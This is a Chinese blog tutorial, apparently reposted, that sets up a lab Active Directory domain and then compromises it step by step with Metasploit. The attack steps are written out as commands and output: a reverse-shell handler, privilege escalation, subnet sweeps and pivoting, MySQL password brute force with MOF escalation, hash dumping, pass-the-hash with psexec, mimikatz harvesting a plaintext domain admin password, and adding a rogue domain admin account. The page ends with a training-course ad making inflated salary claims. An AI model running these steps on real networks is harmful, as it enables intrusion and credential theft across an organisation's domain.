内网渗透:一次完整的域渗透-网络安全(黑客)自学,零基础入门到精通,看这一篇就够了!

在开始域渗透之前,先来简单了解下域的一些概念

wfas-designexample1

域(Domain)是一个有安全边界的计算机集合(安全边界的意思是,在两个域中,一个域中的用户无法访问另一个域中的资源)

工作组的分散管理模式不适合大型的网络环境下工作,域模式就是针对大型的网络管理需求设计的,就是共享用户账号,计算机账号和安全策略的计算机集合。域中集中存储用户账号的计算机就是域控器,域中用户账号,计算机账号和安全策略被存储在域控制器上一个名为Active Directory的数据库中

域控制器

域控制器(Domain Controller,DC)是域中的一台类似管理服务器的计算机,我们可以形象地将它理解为一个单位的门禁系统。域控制器负责所有连入的计算机和用户的验证工作。域内的计算机如果想互相访问,都要经过域控制器的审核

活动目录

活动目录(Active Directory,AD)是指域环境中提供目录服务的组件

目录用于存储有关网络对象(例如用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是指帮助用户快速、准确地从目录中找到其所需要的信息的服务。活动目录实现了目录服务,为企业提供了网络环境的集中式管理机制

域控制器和活动目录的区别

如果网络规模较大,就要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等,分门别类、井然有序地放在一个大仓库中,并将检索信息整理好,以便查找、管理和使用这些对象(资源)。这个拥有层次结构的数据库,就是活动目录数据库,简称AD 库

要实现域环境,其实就是要安装AD。如果内网中的一台计算机上安装了AD,它就变成了DC(用于存储活动目录数据库的计算机)

也就是说安装了AD的计算机就是DC

安全域的划分

划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。这个网段内的计算机拥有相同的网络边界,并在网络边界上通过部署防火墙来实现对其他安全域的网络访问控制策略(NACL)

一个典型的中小型内网的安全域划分,如下图所示,一个虚线框表示一个安全域(也是网络的边界,一般分为DMZ 和内网),通过硬件防火墙的不同端口实现隔离

image-20211127101944561

域内成员划分

  • 域控制器:域控制器用于管理所有的网络访问,包括登录服务器、访问共享目录和资源。域控制器中存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息,一个网络中可以有多台域控

  • 成员服务器:成员服务器是指安装了服务器操作系统并加入了域、但没有安装活动目录的计算机,其主要任务是提供网络资源

  • 客户机:域中的计算机可以是安装了其他操作系统的计算机,用户利用这些计算机和域中的账户就可以登录域

  • 独立服务器:独立服务器和域没有关系。如果服务器既不加入域,也不安装活动目录,就称其为独立服务器。独立服务器可以创建工作组、与网络中的其他计算机共享资源,但不能使用活动目录提供的任何服务

参考:内网安全攻防:渗透测试实战指南

创建域

现有3个Win Server虚拟机,两个2008,一个2003

image-20211127112207736

使用winserver2008-1作为域控,接下来的操作在这台虚拟机上完成

操作步骤

  • 目标林根级域为:ocean.com

  • 域NetBIOS名称为:OCEAN0

创建组&用户

配置完毕重启后,进入用户和计算机

image-20211127114049901

新建组织单位

image-20211127114116331

名为:oceantest

image-20211127114402025

一共有两台成员服务器,所以新建两个用户分别为

  • server2003

  • server20082

image-20211127114553028

密码就是拓扑中给出的

image-20211127114856606

加入域

保证三个虚拟机可以联通(我使用的网络模式是Lan网段10.10.10.1),静态IP并且设置了dns ip为10.10.10.2

image-20211127115810511

image-20211127115908953

进入winserver2008-2,右击计算机选择属性,修改计算机名

image-20211127115239574

点击确认后输入账号和密码,正确的话会提示,然后重启虚拟机

image-20211127115404118

在域控中可以看到两个computer

image-20211127124910998

成员服务器winserver2003可以使用域身份登录主机

image-20211127125145903

image-20211127125103673

默认可以使用主域的账户密码登录所有成员服务器

域渗透

这是整个域环境的拓扑图

image-20211127130540082

分析这个拓扑图可以得知

  • 成员服务器Winserver 2008-2具有双网卡,与攻击者在同一网段(192)可以直接访问,在现实中就是公网IP

  • 成员服务器Winserver 2008-2、成员服务器:Win Server2003、域控制器:Win Server2008-1在同一内网(10段),也在同一个域内,可以相互访问

因为是内网渗透,所以环境中成员服务器Winserver 2008-2已经因为漏洞使用MSF拿下了

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit


image-20211127131249733

常规信息收集

主机信息收集

# 获取当前用户
meterpreter > getuid
# 尽可能提权
meterpreter > getprivs
# 通过各种攻击向量来提权
meterpreter > getsystem
。。。。。。


成功拿到system权限

image-20211127131538741

# 查看网卡信息
meterpreter >ifconfig	发现有两个网卡,其中包含10(内网)网段
# 查看路由信息
meterpreter >run autoroute -p
meterpreter >run get_local_subnets


image-20211127132712197

内网信息收集
# 通过ping命令
meterpreter >run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24
# 通过arp协议
meterpreter >run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
# 使用info查看模块信息
meterpreter >meterpreter >info post/multi/gather/ping_sweep


image-20211127132544998

发现内网主机:10.10.10.2、10.10.10.4

在meterpreter中输入命令 shell 进入 成员服务器Winserver 2008-2 的命令行,使用命令查看网络详细情况

meterpreter > shell
C:\Windows\system32>ipconfig /all


image-20211127133035687

image-20211127133025974

通过这些信息可以判断 成员服务器Winserver 2008-2 在 ocean.com 域中,根据 DNS 信息判断域控主机 IP 为10.10.10.2

设置路由使用 Nmap 对内网主机进行扫描

meterpreter > background 
msf5 exploit(multi/handler) > route add 10.10.10.3 255.255.255.0 1
# 将被控机成员服务器Winserver 2008-2的IP添加到 MSF 中,这是给kali增加的路由,添加之后kali才才能找到内网主机
msf5 exploit(multi/handler) > use scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.4
# 扫描域内的成员服务器 winserver2003
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.2
# 扫描域控服务器的端口


注:如果扫不到就重启下虚拟机

image-20211127140721854

image-20211127140725732

发现域内的成员服务器 winserver2003(10.10.10.4) 开放了3306 MySQL端口,使用msf查看是否存在漏洞

拿下2003
1.MySQL弱口令

扫描MySQL是否使用了弱口令

use auxiliary/scanner/mysql/mysql_login 
msf5 auxiliary(scanner/mysql/mysql_login) > show options
msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 10.10.10.4
msf5 auxiliary(scanner/mysql/mysql_login) > set username root
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/桌面/top1000.txt
exploit


如果爆破成功后可以使用msf模块提权

[+] 10.10.10.4:3306        - 10.10.1.3:3306 - Success: 'root:123456

use windows/mysql/mysql_mof

msf exploit(windows/mysql/mysql_mof) > set PASSWORD 123456
PASSWORD => 123456
msf exploit(windows/mysql/mysql_mof) > set rhost 10.10.10.4
rhost => 10.10.10.4
msf exploit(windows/mysql/mysql_mof) > set USERNAME root
USERNAME => root
msf exploit(windows/mysql/mysql_mof) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(windows/mysql/mysql_mof) > exploit


通过MySQL的mof提权得到成员服务器 winserver2003(10.10.10.4) 的权限

2.哈希传递攻击

通过扫描端口可以判断其开启了445端口使用哈希传递攻击去打成员服务器 winserver2003(10.10.10.4)

PTH即pass-the-hash,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码

使用MSF获取hash值

meterpreter > hashdump 
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
............


选择payload,使用winserver2008-2的账户密码hash,攻击winserver2003,因为内网环境中存在大量密码一样的主机,还有一些弱口令,当我们获得了一台的hash后,可以通过该hash进行横向渗透

hash解密网站:https://www.objecif-securite.ch/ophcrack

后半段为加密数据

image-20211126205647944

background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
show options                      -->查看配置选项
set RHOST 10.10.10.4	         -->设置攻击目标IP,端口默认445
set SMBUser Administrator         -->设置账号为wing
set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
run


问题解决

hashdump报错:[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

进程权限不足,ps之后migrate explorer.exe

meterpreter > migrate 3416


[] Migrating from 1820 to 3416…
[] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3GvSevN4pTrQrBY9PhEwozRPh5uPsL8jUZ:::

还有就是要注意使用虚拟机向外复制时,在确认一边可能出现hash对完全就不对的情况


攻击得到域内机器2003的session

image-20211127172134463

当然不止这些攻击手段

image-20211127172932169

目前域内的两台成员服务器已经被拿下,最后就是域控服务器

拿下域控
信息收集
# 显示一个计算机上共享资源的列表
net view 
net view /domain

# 获取所有域的用户列表
net user /domain

# 获取域用户组信息
net group /domain

# 获取当前域管理员信息
net group "domain admins" /domain

# 查看域时间及域服务器的名字
net time /domain

# 添加普通域用户,这个要域管理权限才可以的
net user hack hack /add /domain

# 将普通域用户提升为域管理员
net group "Domain Admins" hack /add /domain


image-20211127174319398

通过信息收集可以判断出

\\WIN-A9PLNLID2QM.ocean.com IP:10.10.10.2 就是域控

继续收集hash账号信息

meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:3GvSevN4pTrQrBY9PhEwozRPh5uPsL8jUZ:::
ASPNET:1006:b6cdaa6dd10a6155b54d6886c7b4b8f4:570c90ed6cca2f86b06241a2e5e0c3df:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_WWW-C4D593E2D2C:1000:44566b28c2e9a8f2d6aba8863bf7093c:2d8b5c5e471954a4ff306dff1b311cc6:::
IWAM_WWW-C4D593E2D2C:1001:80e1bd999815342156825c6c4818ef78:7c7ee5557864c448aba74604255eeac2:::
ocean:1009:a8515a6b1cd41f3eaad3b435b51404ee:8c463fff186fe69a245b37b195c49c1d:::
SUPPORT_388945a0:1004:aad3b435b51404eeaad3b435b51404ee:eb84cedb36588cbaf2bf1b9a64905ce5:::
# 注意这里从虚拟机里直接复制出来的是错误的


image-20211127174601108

普通用户更改系统信息都需要通过域管理员的操作,要输入账号和密码

mimikatz

可以使用mimikatz获取明文的密码

使用 mimikatz 模块需要 System 权限,所以我们在使用该模块之前需要将当前 MSF 中的 shell 提升为 system

# 加载kiwi模块
load mimikatz
# 查看kiwi模块的使用
help mimikatz


MSF 中 mimikatz 模块的使用

mimikatz 下有七个命令:

  • kerberos:kerberos 相关的模块

  • livessp:尝试检索 livessp 凭据

  • mimikatz_command:运行一个定制的命令

  • msv:msv 凭证相关的模块,列出目标主机的用户密码哈希

  • ssp:ssp 凭证相关的模块

  • tspkg:tspkg 凭证相关的模块

  • wdigest:wdigest 凭证相关的模块

使用kerberos命令查看

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID    Package    Domain        User             Password
------    -------    ------        ----             --------
0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE
0;53193   NTLM
0;999     Negotiate  OCEAN0       SERVERS2003$
0;390687  Kerberos   OCEAN0       administrator    Ocean@123


通过获取当前域管理员信息,确认administrator就是域控主机管理员用户

net group "domain admins" /domain


使用psexec模块拿到sessions

use exploit/windows/smb/psexec
set rhost 10.10.10.2
set SMBDomain ocean0
set SMBUser administrator
set SMBPASS Ocean@123
set payload windows/meterpreter/bind_tcp


image-20211128092839846

注:域控虚拟机要关闭域防火墙

执行后拿到域控主机的sessions

image-20211128093145369

整个攻击流程:

image-20211128093803079

后渗透&其他

拿到权限后要考虑收集重要信息、提权、权限维持、痕迹清理等操作

收集密码

meterpreter > hashdump
# 如果获取不到,可以使用
meterpreter > run post/windows/gather/hashdump


image-20211128095458312

远程连接

拿下域控之后,所有的主机都可以使用域控 administrator:Ocean@123 账户登录

redesktop 192.168.179.148
# 因为成员服务器有双网卡,并且能直接被攻击者访问,所以可以直接远程连接登录,其他主机因为在内网需要设置代理之后才可以访问


image-20211128101820635

注:虚拟机winserver2008-2需要开启RDP,且设置为任意连接

image-20211128102403375

登录之后可以再次使用RDP连接域控,账户就是域控账号

image-20211128102752539

层层套娃下成功连接域控

image-20211128103300178

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、高级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

 如果你想要入坑黑客&网络安全工程师,这份282G全网最全的网络安全资料包!

网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

​​​​​
学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

视频配套资料&国内外网安书籍、文档&工具

​​​
​​ 因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

黑客/网安大礼包:优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

本文转自网络如有侵权,请联系删除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值